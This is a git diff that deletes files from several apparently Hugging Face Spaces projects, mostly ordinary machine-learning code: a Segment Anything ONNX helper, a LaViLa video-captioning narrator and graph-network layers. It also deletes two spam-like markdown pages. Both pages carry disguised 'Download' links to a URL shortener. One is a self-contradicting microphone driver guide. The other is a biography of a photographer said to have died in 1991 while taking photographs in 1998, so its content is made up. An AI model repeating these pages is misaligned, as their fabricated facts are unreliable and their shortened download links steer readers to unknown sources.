-srun -l -N 1 -n 1 -c 128 --gpus=8 bash averaging/ratatouille/scaling_best/snli_ve/snli_ve_ofaplus_base_pretrain_s2_hsep1_initrefcocoplus.sh
-
-
diff --git a/spaces/myrad01/Inpaint-Anything/third_party/segment-anything/demo/src/components/helpers/onnxModelAPI.tsx b/spaces/myrad01/Inpaint-Anything/third_party/segment-anything/demo/src/components/helpers/onnxModelAPI.tsx
deleted file mode 100644
index 2e006c95b407ff4a7c0c071badf6a9cf2fe34ef0..0000000000000000000000000000000000000000
--- a/spaces/myrad01/Inpaint-Anything/third_party/segment-anything/demo/src/components/helpers/onnxModelAPI.tsx
+++ /dev/null
@@ -1,71 +0,0 @@
-// Copyright (c) Meta Platforms, Inc. and affiliates.
-// All rights reserved.
-
-// This source code is licensed under the license found in the
-// LICENSE file in the root directory of this source tree.
-
-import { Tensor } from "onnxruntime-web";
-import { modeDataProps } from "./Interfaces";
-
-const modelData = ({ clicks, tensor, modelScale }: modeDataProps) => {
-  const imageEmbedding = tensor;
-  let pointCoords;
-  let pointLabels;
-  let pointCoordsTensor;
-  let pointLabelsTensor;
-
-  // Check there are input click prompts
-  if (clicks) {
-    let n = clicks.length;
-
-    // If there is no box input, a single padding point with 
-    // label -1 and coordinates (0.0, 0.0) should be concatenated
-    // so initialize the array to support (n + 1) points.
-    pointCoords = new Float32Array(2 * (n + 1));
-    pointLabels = new Float32Array(n + 1);
-
-    // Add clicks and scale to what SAM expects
-    for (let i = 0; i < n; i++) {
-      pointCoords[2 * i] = clicks[i].x * modelScale.samScale;
-      pointCoords[2 * i + 1] = clicks[i].y * modelScale.samScale;
-      pointLabels[i] = clicks[i].clickType;
-    }
-
-    // Add in the extra point/label when only clicks and no box
-    // The extra point is at (0, 0) with label -1
-    pointCoords[2 * n] = 0.0;
-    pointCoords[2 * n + 1] = 0.0;
-    pointLabels[n] = -1.0;
-
-    // Create the tensor
-    pointCoordsTensor = new Tensor("float32", pointCoords, [1, n + 1, 2]);
-    pointLabelsTensor = new Tensor("float32", pointLabels, [1, n + 1]);
-  }
-  const imageSizeTensor = new Tensor("float32", [
-    modelScale.height,
-    modelScale.width,
-  ]);
-
-  if (pointCoordsTensor === undefined || pointLabelsTensor === undefined)
-    return;
-
-  // There is no previous mask, so default to an empty tensor
-  const maskInput = new Tensor(
-    "float32",
-    new Float32Array(256 * 256),
-    [1, 1, 256, 256]
-  );
-  // There is no previous mask, so default to 0
-  const hasMaskInput = new Tensor("float32", [0]);
-
-  return {
-    image_embeddings: imageEmbedding,
-    point_coords: pointCoordsTensor,
-    point_labels: pointLabelsTensor,
-    orig_im_size: imageSizeTensor,
-    mask_input: maskInput,
-    has_mask_input: hasMaskInput,
-  };
-};
-
-export { modelData };
diff --git a/spaces/nateraw/lavila/lavila/models/narrator.py b/spaces/nateraw/lavila/lavila/models/narrator.py
deleted file mode 100644
index 61f3e778b7b574f432241e6de13d71a211166061..0000000000000000000000000000000000000000
--- a/spaces/nateraw/lavila/lavila/models/narrator.py
+++ /dev/null
@@ -1,385 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-# Part of the code is from https://github.com/huggingface/transformers/blob/main/src/transformers/generation_utils.py
-# Modified by Yue Zhao
-# The original code is under Apache 2.0 License
-
-
-import torch
-from torch import nn
-import torch.nn.functional as F
-from einops import rearrange, repeat
-from transformers import BeamSearchScorer
-from transformers.generation_logits_process import (
-    LogitsProcessorList, TopKLogitsWarper, TopPLogitsWarper,
-    TemperatureLogitsWarper, TypicalLogitsWarper, LogitNormalization
-)
-
-from lavila.models.coca import CrossAttention, LayerNorm
-from lavila.models.openai_model import VisionTransformer
-from lavila.models.timesformer import SpaceTimeTransformer
-
-
-class VCLM_HF(nn.Module):
-    def __init__(self,
-                 # vision
-                 vision_width: int,
-                 vision_model: nn.Module,
-                 # text
-                 text_width: int,
-                 text_decoder: nn.Module,
-                 num_img_queries=256,
-                 dim_head=64,
-                 heads=8,
-                 **kwargs,
-                 ):
-        super().__init__()
-        self.vision_width = vision_width
-        self.visual = vision_model
-        self.text_width = text_width
-        self.text_decoder = text_decoder
-
-        self.img_queries = nn.Parameter(torch.empty(num_img_queries, text_width))
-        self.img_attn_pool = CrossAttention(
-            dim=text_width, context_dim=vision_width,
-            dim_head=dim_head, heads=heads,
-            norm_context=True
-        )
-        self.img_attn_pool_norm = LayerNorm(text_width)
-
-        self.initialize_parameters()
-
-    def initialize_parameters(self):
-        nn.init.normal_(self.img_queries, std=self.text_width ** -0.5)
-
-    def encode_image(self, image, use_checkpoint=False):
-        if isinstance(self.visual, VisionTransformer):
-            # openai_model.VisionTransformer accepts (N, C, H, W) instead of (N, C, T, H, W)
-            image = image.permute(0, 2, 1, 3, 4)  # BCTHW -> BTCHW
-            bb, tt, _, _, _ = image.shape
-            x = self.visual(image.reshape(-1, *image.shape[2:]), use_checkpoint=use_checkpoint, cls_at_last=False)  # NLD
-            x = x.view(bb, tt, *x.shape[1:])
-            x = x.permute(0, 3, 1, 2)
-        elif isinstance(self.visual, SpaceTimeTransformer):
-            image = image.permute(0, 2, 1, 3, 4).contiguous()  # BCTHW -> BTCHW
-            bb, tt, _, _, _ = image.shape
-            x = self.visual.forward_features(image, use_checkpoint=use_checkpoint, cls_at_last=False)  # NLD
-            x = x.permute(0, 2, 1)
-        else:
-            x = self.visual(image, use_checkpoint=use_checkpoint, mean_at_last=False)
-        if isinstance(x, list):
-            assert len(x) == 1
-            x = x[0]
-
-        x = x.flatten(start_dim=2)  # BDTHW -> BD(THW)
-        x = x.permute(0, 2, 1)      # BDN -> BND
-        img_queries = repeat(self.img_queries, 'n d -> b n d', b=x.shape[0])
-        img_queries = self.img_attn_pool(img_queries, x)
-        img_queries = self.img_attn_pool_norm(img_queries)
-        return img_queries
-
-    def forward(self, image, text, mask=None, use_checkpoint=False, norm_embed=False):
-        if use_checkpoint:
-            self.text_decoder.gradient_checkpointing_enable()
-        else:
-            self.text_decoder.gradient_checkpointing_disable()
-
-        text, labels = text[:, :-1], text[:, 1:]
-        # mask = mask[:, :-1]
-        image_tokens = self.encode_image(image, use_checkpoint=use_checkpoint)
-
-        output_decoder = self.text_decoder(text.contiguous(), encoder_hidden_states=image_tokens)
-        text_tokens_logits = output_decoder.logits
-        text_tokens_logits = rearrange(text_tokens_logits, 'b n c -> b c n')
-
-        return {'text_tokens_logits': text_tokens_logits,
-                'labels': labels}
-
-    def generate(self, image_tokens, tokenizer, target=None, max_text_length=77, top_k=None, top_p=None,
-                 num_return_sequences=1, temperature=1.0, teacher_forcing=False, early_stopping=False):
-        image_tokens = image_tokens.repeat_interleave(num_return_sequences, dim=0)
-        device = image_tokens.device
-        generated_text_ids = torch.LongTensor([[tokenizer.bos_token_id]] * image_tokens.shape[0]).to(device)
-        condition_text_ids = generated_text_ids.clone()
-
-        logits_warper = self._get_logits_warper(top_k=top_k, top_p=top_p, typical_p=None, temperature=temperature, num_beams=1)
-
-        nlls, num_tokens = torch.zeros(image_tokens.shape[0]).to(device), torch.zeros(image_tokens.shape[0]).to(device)
-        is_reach_eos = torch.zeros(image_tokens.shape[0]).bool().to(device)
-        with torch.no_grad():
-            for i in range(max_text_length - 1):
-                output_decoder = self.text_decoder(condition_text_ids, encoder_hidden_states=image_tokens)
-                decoded_token_logits = output_decoder.logits
-                next_token_logits = decoded_token_logits[:, -1, :]
-                if target is not None:
-                    nll = F.cross_entropy(next_token_logits, target[:, i+1], ignore_index=tokenizer.pad_token_id, reduction='none')
-                    nlls += nll
-                    num_tokens += target[:, i+1].ne(tokenizer.pad_token_id)
-                else:
-                    nll = torch.special.entr(F.softmax(next_token_logits, dim=1)).sum(dim=1)
-                    nlls += nll * (~is_reach_eos)
-                    num_tokens += (~is_reach_eos)
-                # filtered_p = top_k_top_p_filtering(next_token_logits, top_k=top_k, top_p=top_p, device=device)
-                next_token_logits = logits_warper(generated_text_ids, next_token_logits)
-                filtered_p = F.softmax(next_token_logits, dim=-1)
-                next_token = torch.multinomial(filtered_p, num_samples=1)
-                is_reach_eos = is_reach_eos | (next_token[:, 0] == tokenizer.eos_token_id)
-                if early_stopping and torch.all(is_reach_eos):
-                    break
-
-                if teacher_forcing:
-                    condition_text_ids = target[:, :i+2]
-                else:
-                    condition_text_ids = torch.cat((generated_text_ids, next_token), dim=1)
-
-                generated_text_ids = torch.cat((generated_text_ids, next_token), dim=1)
-        if target is not None:
-            return generated_text_ids, torch.exp(nlls / num_tokens)
-        else:
-            return generated_text_ids, torch.exp(nlls / num_tokens)
-
-    def beam_sample(self, image_tokens, tokenizer, target=None, max_text_length=77, top_k=None, top_p=None,
-                    temperature=1.0, length_penalty=1.,
-                    num_beams=3, num_return_sequences=1, teacher_forcing=False, early_stopping=False):
-        batch_size = image_tokens.shape[0]
-        device = image_tokens.device
-        input_ids = torch.ones((batch_size, 1), device=device, dtype=torch.long)
-        input_ids = input_ids * tokenizer.bos_token_id
-
-        expanded_return_idx = (
-            torch.arange(input_ids.shape[0]).view(-1, 1).repeat(1, num_beams * num_return_sequences).view(-1).to(device)
-        )
-        input_ids = input_ids.index_select(0, expanded_return_idx)
-
-        batch_beam_size, cur_len = input_ids.shape
-
-        logits_warper = self._get_logits_warper(top_k=top_k, top_p=top_p, typical_p=None, temperature=temperature, num_beams=num_beams)
-
-        beam_scorer = BeamSearchScorer(
-            batch_size=batch_size * num_return_sequences, num_beams=num_beams,
-            device=device,
-            length_penalty=length_penalty,
-        )
-        batch_size = len(beam_scorer._beam_hyps)
-        num_beams = beam_scorer.num_beams
-
-        beam_scores = torch.zeros((batch_size, num_beams)).to(device)
-        beam_scores = beam_scores.view((batch_size * num_beams,))
-
-        is_reach_eos = torch.zeros(batch_beam_size).bool().to(device)
-        with torch.no_grad():
-            for i in range(max_text_length - 1):
-                output_decoder = self.text_decoder(
-                    input_ids,
-                    encoder_hidden_states=image_tokens.repeat_interleave(num_beams * num_return_sequences, dim=0)
-                )
-                decoded_token_logits = output_decoder.logits
-                next_token_logits = decoded_token_logits[:, -1, :]
-
-                next_token_scores = F.log_softmax(next_token_logits, dim=-1)  # (batch_size * num_beams, vocab_size)
-                # supposed to be the line below, but ignore temporarily
-                # next_token_scores_processed = logits_processor(input_ids, next_token_scores)
-                next_token_scores_processed = next_token_scores
-                next_token_scores = next_token_scores_processed + beam_scores[:, None].expand_as(next_token_scores)
-                # supposed to be the line below, but do a simple top_k+top_p temporarily
-                next_token_scores = logits_warper(input_ids, next_token_scores)
-                # next_token_scores = top_k_top_p_filtering(next_token_scores, top_k=top_k, top_p=top_p, device=device)
-
-                vocab_size = next_token_scores.shape[-1]
-                next_token_scores = next_token_scores.view(batch_size, num_beams * vocab_size)
-
-                probs = F.softmax(next_token_scores, dim=-1)
-                next_tokens = torch.multinomial(probs, num_samples=2 * num_beams)
-                next_token_scores = torch.gather(next_token_scores, -1, next_tokens)
-
-                next_token_scores, _indices = torch.sort(next_token_scores, descending=True, dim=1)
-                next_tokens = torch.gather(next_tokens, -1, _indices)
-
-                next_indices = torch.div(next_tokens, vocab_size, rounding_mode="floor")
-                next_tokens = next_tokens % vocab_size
-
-                # stateless
-                beam_outputs = beam_scorer.process(
-                    input_ids,
-                    next_token_scores,
-                    next_tokens,
-                    next_indices,
-                    pad_token_id=tokenizer.pad_token_id,
-                    eos_token_id=tokenizer.eos_token_id,
-                )
-
-                beam_scores = beam_outputs["next_beam_scores"]
-                beam_next_tokens = beam_outputs["next_beam_tokens"]
-                beam_idx = beam_outputs["next_beam_indices"]
-
-                input_ids = torch.cat([input_ids[beam_idx, :], beam_next_tokens.unsqueeze(-1)], dim=-1)
-
-                is_reach_eos = is_reach_eos | (input_ids[:, -1] == tokenizer.eos_token_id)
-                if beam_scorer.is_done or torch.all(is_reach_eos):
-                    break
-
-            sequence_outputs = beam_scorer.finalize(
-                input_ids,
-                beam_scores,
-                next_tokens,
-                next_indices,
-                pad_token_id=tokenizer.pad_token_id,
-                eos_token_id=tokenizer.eos_token_id,
-                max_length=max_text_length,
-            )
-
-            sequences = sequence_outputs["sequences"]
-            sequence_scores = sequence_outputs["sequence_scores"]
-        return sequences, sequence_scores
-
-    def group_beam_search(self, image_tokens, tokenizer, target=None, max_text_length=77, top_k=None, top_p=None,
-                          temperature=1.0, length_penalty=1.,
-                          num_beams=6, num_beam_groups=3,
-                          num_return_sequences=1, teacher_forcing=False, early_stopping=False):
-        batch_size = image_tokens.shape[0]
-        device = image_tokens.device
-        input_ids = torch.ones((batch_size, 1), device=device, dtype=torch.long)
-        input_ids = input_ids * tokenizer.bos_token_id
-
-        expanded_return_idx = (
-            torch.arange(input_ids.shape[0]).view(-1, 1).repeat(1, num_beams).view(-1).to(device)
-        )
-        input_ids = input_ids.index_select(0, expanded_return_idx)
-
-        batch_beam_size, cur_len = input_ids.shape
-
-        logits_warper = self._get_logits_warper(top_k=top_k, top_p=top_p, typical_p=None, temperature=temperature, num_beams=num_beams)
-
-        beam_scorer = BeamSearchScorer(
-            batch_size=batch_size, num_beams=num_beams,
-            num_beam_groups=num_beam_groups,
-            num_beam_hyps_to_keep=num_return_sequences, device=device,
-            length_penalty=length_penalty,
-        )
-        num_sub_beams = num_beams // num_beam_groups
-        beam_scores = torch.full((batch_size, num_beams), -1e9, dtype=torch.float, device=device)
-        beam_scores[:, ::num_sub_beams] = 0
-        beam_scores = beam_scores.view((batch_size * num_beams,))
-
-        is_reach_eos = torch.zeros(batch_beam_size).bool().to(device)
-        with torch.no_grad():
-
-            # predicted tokens in cur_len step
-            current_tokens = torch.zeros(batch_size * num_beams, dtype=input_ids.dtype, device=device)
-
-            # indices which will form the beams in the next time step
-            reordering_indices = torch.zeros(batch_size * num_beams, dtype=torch.long, device=device)
-
-            for i in range(max_text_length - 1):
-                output_decoder = self.text_decoder(
-                    input_ids,
-                    encoder_hidden_states=image_tokens.repeat_interleave(num_beams, dim=0)
-                )
-                decoded_token_logits = output_decoder.logits
-
-                for beam_group_idx in range(num_beam_groups):
-                    group_start_idx = beam_group_idx * num_sub_beams
-                    group_end_idx = min(group_start_idx + num_sub_beams, num_beams)
-                    group_size = group_end_idx - group_start_idx
-
-                    # indices of beams of current group among all sentences in batch
-                    batch_group_indices = []
-
-                    for batch_idx in range(batch_size):
-                        batch_group_indices.extend(
-                            [batch_idx * num_beams + idx for idx in range(group_start_idx, group_end_idx)]
-                        )
-                    group_input_ids = input_ids[batch_group_indices]
-
-                    # select outputs of beams of current group only
-                    next_token_logits = decoded_token_logits[batch_group_indices, -1, :]
-
-                    next_token_scores = F.log_softmax(next_token_logits, dim=-1)  # (batch_size * num_beams, vocab_size)
-                    vocab_size = next_token_scores.shape[-1]
-
-                    # supposed to be the line below, but ignore temporarily
-                    # next_token_scores_processed = logits_processor(input_ids, next_token_scores)
-                    next_token_scores_processed = next_token_scores
-                    next_token_scores = next_token_scores_processed + beam_scores[batch_group_indices].unsqueeze(-1)
-                    next_token_scores = next_token_scores.expand_as(next_token_scores_processed)
-                    next_token_scores = logits_warper(input_ids, next_token_scores)
-                    # next_token_scores = top_k_top_p_filtering(next_token_scores, top_k=top_k, top_p=top_p, device=device)
-
-                    # reshape for beam search
-                    next_token_scores = next_token_scores.view(batch_size, group_size * vocab_size)
-
-                    next_token_scores, next_tokens = torch.topk(
-                        next_token_scores, 2 * group_size, dim=1, largest=True, sorted=True
-                    )
-
-                    next_indices = torch.div(next_tokens, vocab_size, rounding_mode="floor")
-                    next_tokens = next_tokens % vocab_size
-
-                    # stateless
-                    beam_outputs = beam_scorer.process(
-                        group_input_ids,
-                        next_token_scores,
-                        next_tokens,
-                        next_indices,
-                        pad_token_id=tokenizer.pad_token_id,
-                        eos_token_id=tokenizer.eos_token_id,
-                        beam_indices=None
-                    )
-                    beam_scores[batch_group_indices] = beam_outputs["next_beam_scores"]
-                    beam_next_tokens = beam_outputs["next_beam_tokens"]
-                    beam_idx = beam_outputs["next_beam_indices"]
-
-                    input_ids[batch_group_indices] = group_input_ids[beam_idx]
-                    group_input_ids = torch.cat([group_input_ids[beam_idx, :], beam_next_tokens.unsqueeze(-1)], dim=-1)
-                    current_tokens[batch_group_indices] = group_input_ids[:, -1]
-                    reordering_indices[batch_group_indices] = (
-                        num_beams * torch.div(beam_idx, group_size, rounding_mode="floor") + group_start_idx + (beam_idx % group_size)
-                    )
-
-                input_ids = torch.cat([input_ids, current_tokens.unsqueeze(-1)], dim=-1)
-
-                is_reach_eos = is_reach_eos | (input_ids[:, -1] == tokenizer.eos_token_id)
-                if beam_scorer.is_done or torch.all(is_reach_eos):
-                    break
-
-            sequence_outputs = beam_scorer.finalize(
-                input_ids,
-                beam_scores,
-                next_tokens,
-                next_indices,
-                pad_token_id=tokenizer.pad_token_id,
-                eos_token_id=tokenizer.eos_token_id,
-                max_length=max_text_length,
-                beam_indices=None,
-            )
-
-            sequences = sequence_outputs["sequences"]
-            sequence_scores = sequence_outputs["sequence_scores"]
-        return sequences, sequence_scores
-
-    def _get_logits_warper(
-        self, top_k=None, top_p=None, typical_p=None,
-        temperature=None, num_beams=None, renormalize_logits=None,
-    ):
-        top_k = top_k if top_k is not None else 0
-        top_p = top_p if top_p is not None else 1.0
-        typical_p = typical_p if typical_p is not None else 1.
-        temperature = temperature if temperature is not None else 1.
-        warpers = LogitsProcessorList()
-
-        if temperature is not None and temperature != 1.0:
-            warpers.append(TemperatureLogitsWarper(temperature))
-        if top_k is not None and top_k != 0:
-            warpers.append(TopKLogitsWarper(top_k=top_k, min_tokens_to_keep=(2 if num_beams > 1 else 1)))
-        if top_p is not None and top_p < 1.0:
-            warpers.append(TopPLogitsWarper(top_p=top_p, min_tokens_to_keep=(2 if num_beams > 1 else 1)))
-        if typical_p is not None and typical_p < 1.0:
-            warpers.append(TypicalLogitsWarper(mass=typical_p, min_tokens_to_keep=(2 if num_beams > 1 else 1)))
-        # `LogitNormalization` should always be the last logit processor, when present
-        if renormalize_logits is True:
-            warpers.append(LogitNormalization())
-        return warpers
diff --git a/spaces/navaaesarosh/navaaesarosh-saqi_v0/app.py b/spaces/navaaesarosh/navaaesarosh-saqi_v0/app.py
deleted file mode 100644
index 002f085a76119da36c221d0b6c0e8b24b7312216..0000000000000000000000000000000000000000
--- a/spaces/navaaesarosh/navaaesarosh-saqi_v0/app.py
+++ /dev/null
@@ -1,3 +0,0 @@
-import gradio as gr
-
-gr.Interface.load("models/navaaesarosh/saqi_v0").launch()
\ No newline at end of file
diff --git a/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Alctron Um900 Driver 13.md b/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Alctron Um900 Driver 13.md
deleted file mode 100644
index 0a074479c33eb3d5cf5b46293bb009055b8ecbe4..0000000000000000000000000000000000000000
--- a/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Alctron Um900 Driver 13.md	
+++ /dev/null
@@ -1,51 +0,0 @@
-
-<h1>How to Install Alctron Um900 Driver 13 on Windows and Mac</h1>
-<p>Alctron Um900 is a USB condenser microphone that can be used for digital recording without installing any device software. It has a cardioid pick-up pattern, a high-quality A/D converter with 16bit/48KHZ sampling rate, and a wide range frequency response. It is compatible with Windows and Mac systems and can automatically identify the recording equipment. However, some users may encounter problems with the driver installation or the microphone recognition. Here are some steps to help you install Alctron Um900 Driver 13 on Windows and Mac.</p>
-<h2>For Windows Users</h2>
-<ol>
-<li>Download the Alctron Um900 Driver 13 from the official website of Alctron Audio[^1^] or from other sources[^3^]. Make sure you download the correct version for your Windows system.</li>
-<li>Unzip the downloaded file and run the setup.exe file. Follow the instructions on the screen to install the driver.</li>
-<li>Connect the Alctron Um900 microphone to your computer via a USB cable. Wait for a few seconds until Windows detects the device and installs the driver automatically.</li>
-<li>Open the Control Panel and go to Hardware and Sound > Sound. Select the Recording tab and find the Alctron Um900 microphone. Right-click on it and select Set as Default Device.</li>
-<li>You can also adjust the microphone settings such as volume, sample rate, and quality by clicking on Properties.</li>
-<li>Now you can use the Alctron Um900 microphone for your recording applications.</li>
-</ol>
-<h2>For Mac Users</h2>
-<ol>
-<li>Connect the Alctron Um900 microphone to your Mac via a USB cable. Wait for a few seconds until Mac recognizes the device.</li>
-<li>Open the System Preferences and go to Sound. Select the Input tab and find the Alctron Um900 microphone. Click on it and adjust the input volume as needed.</li>
-<li>You can also change the sample rate and format by clicking on Options.</li>
-<li>Now you can use the Alctron Um900 microphone for your recording applications.</li>
-</ol>
-<h2>Troubleshooting Tips</h2>
-<p>If you encounter any problems with the Alctron Um900 microphone or driver, here are some tips to help you solve them:</p>
-<h2>Alctron Um900 Driver 13</h2><br /><p><b><b>Download Zip</b> &#127379; <a href="https://urlcod.com/2uIaO0">https://urlcod.com/2uIaO0</a></b></p><br /><br />
-<ul>
-<li>Make sure you have a stable internet connection when downloading the driver.</li>
-<li>Make sure you have enough disk space and memory on your computer when installing the driver.</li>
-<li>Make sure you connect the microphone to a USB port that is not shared with other devices.</li>
-<li>Make sure you select the correct input device and output device in your recording application.</li>
-<li>Make sure you update your Windows or Mac system to the latest version.</li>
-<li>If none of these tips work, you can contact Alctron Audio's customer service[^1^] or visit their support page[^2^] for more help.</li>
-</ul>
-
-<h2>Alctron Um900 Review</h2>
-<p>Alctron Um900 is a USB condenser microphone that has received positive feedback from many users who have tried it for various recording purposes. It is praised for its ease of use, plug-and-play feature, clear and natural sound quality, and affordable price. Here are some of the pros and cons of Alctron Um900 based on user reviews.</p>
-<h3>Pros</h3>
-<ul>
-<li>Alctron Um900 is very easy to set up and use. You don't need to install any drivers or software to make it work with your Windows or Mac computer. You just need to connect it with a USB cable and select it as your input device in your recording application.</li>
-<li>Alctron Um900 has a high-quality A/D converter with 16bit/48KHZ sampling rate that ensures superb audio quality. It also has a wide range frequency response that collects instruments and vocals clearly and naturally.</li>
-<li>Alctron Um900 has a cardioid pick-up pattern that reduces background noise and focuses on the sound source. It is ideal for podcasting, voice-over, singing, gaming, and other solo recording projects.</li>
-<li>Alctron Um900 has a sturdy and durable metal body that can withstand some bumps and drops. It also comes with a shock mount, a pop filter, and a USB cable in the package.</li>
-<li>Alctron Um900 is very affordable compared to other USB condenser microphones in the market. You can get it for less than $50 on Amazon[^2^] or other online stores.</li>
-</ul>
-<h3>Cons</h3>
-<ul>
-<li>Some users have reported that Alctron Um900 is not compatible with some older versions of Windows or Mac systems. You may need to update your system or use a different computer to make it work.</li>
-<li>Some users have complained that Alctron Um900 is too sensitive and picks up too much ambient noise or feedback. You may need to adjust the input volume, use a noise gate, or record in a quiet environment to minimize this problem.</li>
-<li>Some users have noticed that Alctron Um900 has a slight hiss or hum in the background. This may be caused by interference from other devices or power sources. You may need to use a different USB port, a powered USB hub, or a ferrite core to reduce this issue.</li>
-</ul>
-<h2>Conclusion</h2>
-<p>Alctron Um900 is a USB condenser microphone that offers great value for money for anyone who needs a simple and reliable recording device. It has many features and benefits that make it suitable for various recording scenarios. It also has some drawbacks that can be solved with some adjustments or accessories. Overall, Alctron Um900 is a good choice for beginners and intermediate users who want to record high-quality audio without spending too much.</p> e93f5a0c3f<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Gallery Kiyooka Sumiko 1998.md b/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Gallery Kiyooka Sumiko 1998.md
deleted file mode 100644
index 3d1759b96827910770032a286b88aab8e7854d8e..0000000000000000000000000000000000000000
--- a/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Gallery Kiyooka Sumiko 1998.md	
+++ /dev/null
@@ -1,21 +0,0 @@
-
-<h1>Gallery Kiyooka Sumiko 1998: A Glimpse into the Life and Work of a Pioneering Japanese Lesbian Photographer</h1>
-<p>Sumiko Kiyooka (1921-1991) was a Japanese photographer who captured the lives and experiences of lesbians in Japan and abroad. She published several books that combined photography, non-fiction, prose fiction, and poetry depicting lesbian culture, history, and utopia. One of her most notable works was Gallery Kiyooka Sumiko 1998, a collection of photographs that she took in 1998 during her travels in Korea, Vietnam, Okinawa, and other places. The book showcases her artistic vision, her personal journey, and her political activism as a lesbian feminist.</p>
-<h2>Gallery Kiyooka Sumiko 1998</h2><br /><p><b><b>Download</b> &#9745; <a href="https://urlcod.com/2uIaV9">https://urlcod.com/2uIaV9</a></b></p><br /><br />
-<p>In this article, we will explore the background, themes, and significance of Gallery Kiyooka Sumiko 1998, as well as some of the challenges and controversies that Kiyooka faced as a lesbian photographer in Japan. We will also provide some tips on how to optimize your website for the keyword "Gallery Kiyooka Sumiko 1998" using SEO techniques and HTML formatting.</p>
-<h2>Who was Sumiko Kiyooka?</h2>
-<p>Sumiko Kiyooka was born in Tokyo in 1921. She studied photography at the Tokyo School of Photography and became a professional photographer in 1946. She worked for various magazines and newspapers, covering topics such as fashion, sports, culture, and social issues. She also participated in several photography exhibitions and won awards for her work.</p>
-<p>Kiyooka was openly lesbian and had several relationships with women throughout her life. She was inspired by the lesbian literature of writers such as Radclyffe Hall, Colette, and Nobuko Yoshiya. She also admired the lesbian culture of ancient Greece and Japan. She decided to use her photography as a medium to express her lesbian identity and to document the lesbian communities that she encountered in her travels.</p>
-<p>Kiyooka published her first lesbian-themed book, Lesbian Love (Rezubian no ai), in 1968. It was a groundbreaking work that combined photographs and essays on lesbian history, culture, and lifestyle. It also included practical advice on how to find and maintain lesbian relationships. The book was well-received by some critics and readers, but it also faced censorship and backlash from conservative groups.</p>
-<p>Kiyooka continued to publish more books on lesbian topics, such as Lesbian World (Rezubian no sekai), Lesbian Paradise (Rezubian no rakuen), Lesbian Island (Rezubian no shima), Lesbian Journey (Rezubian no tabi), Lesbian Dream (Rezubian no yume), Lesbian Love Story (Rezubian no ai monogatari), and Gallery Kiyooka Sumiko 1998. She also wrote poetry and fiction that explored lesbian themes.</p>
-<p>Kiyooka died of cancer in 1991 at the age of 70. She left behind a legacy of artistic and political contributions to the lesbian movement in Japan and beyond. She is regarded as one of the pioneers of Japanese lesbian photography and literature.</p>
-<p></p>
-<h2>What is Gallery Kiyooka Sumiko 1998?</h2>
-<p>Gallery Kiyooka Sumiko 1998 is a book that contains 45 photographs that Kiyooka took in 1998 during her travels in Korea, Vietnam, Okinawa, and other places. The book was published posthumously in 2000 by Shobunsha.</p>
-<p>The photographs depict various scenes and subjects related to lesbian life and culture. Some of them are portraits of lesbian couples or individuals that Kiyooka met or befriended during her travels. Some of them are landscapes or cityscapes that capture the atmosphere or mood of the places that she visited. Some of them are symbolic or abstract images that reflect her artistic vision or personal feelings.</p>
-<p>The book also includes an introduction by Kiyooka's partner, Yoko Yamaguchi, who explains the background and context of the photographs. She also shares some anecdotes and memories of their relationship and travels together.</p>
-<p>The book is divided into four sections: Korea, Vietnam, Okinawa, and Others. Each section has a different theme or focus that reflects Kiyooka's interests or experiences in each place.</p>
-<h3>Korea</h3>
-<p>The first section contains 12 photographs</p> 7196e7f11a<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/ngaggion/Chest-x-ray-HybridGNet-Segmentation/models/modelUtils.py b/spaces/ngaggion/Chest-x-ray-HybridGNet-Segmentation/models/modelUtils.py
deleted file mode 100644
index 2d6ebc6e81136fb9070b1dbfdf4dd09a0f52402a..0000000000000000000000000000000000000000
--- a/spaces/ngaggion/Chest-x-ray-HybridGNet-Segmentation/models/modelUtils.py
+++ /dev/null
@@ -1,69 +0,0 @@
-from torch_geometric.nn.conv import MessagePassing
-from torch_geometric.nn.conv.cheb_conv import ChebConv
-from torch_geometric.nn.inits import zeros, normal
-
-# We change the default initialization from zeros to a normal distribution
-class ChebConv(ChebConv):
-    def reset_parameters(self):
-        for lin in self.lins:
-            normal(lin, mean = 0, std = 0.1)
-            #lin.reset_parameters()
-        normal(self.bias, mean = 0, std = 0.1)
-        #zeros(self.bias)
-
-# Pooling from COMA: https://github.com/pixelite1201/pytorch_coma/blob/master/layers.py
-class Pool(MessagePassing):
-    def __init__(self):
-        # source_to_target is the default value for flow, but is specified here for explicitness
-        super(Pool, self).__init__(flow='source_to_target')
-
-    def forward(self, x, pool_mat,  dtype=None):
-        pool_mat = pool_mat.transpose(0, 1)
-        out = self.propagate(edge_index=pool_mat._indices(), x=x, norm=pool_mat._values(), size=pool_mat.size())
-        return out
-
-    def message(self, x_j, norm):
-        return norm.view(1, -1, 1) * x_j
-    
-    
-import torch.nn as nn
-import torch.nn.functional as F
-
-class residualBlock(nn.Module):
-    def __init__(self, in_channels, out_channels, stride=1):
-        """
-        Args:
-          in_channels (int):  Number of input channels.
-          out_channels (int): Number of output channels.
-          stride (int):       Controls the stride.
-        """
-        super(residualBlock, self).__init__()
-
-        self.skip = nn.Sequential()
-
-        if stride != 1 or in_channels != out_channels:
-          self.skip = nn.Sequential(
-            nn.Conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=1, stride=stride, bias=False),
-            nn.BatchNorm2d(out_channels, track_running_stats=False))
-        else:
-          self.skip = None
-
-        self.block = nn.Sequential(nn.BatchNorm2d(in_channels, track_running_stats=False),
-                                   nn.ReLU(inplace=True),
-                                   nn.Conv2d(in_channels, out_channels, 3, padding=1),
-                                   nn.BatchNorm2d(out_channels, track_running_stats=False),
-                                   nn.ReLU(inplace=True),
-                                   nn.Conv2d(out_channels, out_channels, 3, padding=1)
-                                   )   
-
-    def forward(self, x):
-        identity = x
-        out = self.block(x)
-
-        if self.skip is not None:
-            identity = self.skip(x)
-
-        out += identity
-        out = F.relu(out)
-
-        return out
\ No newline at end of file
diff --git a/spaces/nightfury/Neural_Style_Transfer/app.py b/spaces/nightfury/Neural_Style_Transfer/app.py
deleted file mode 100644
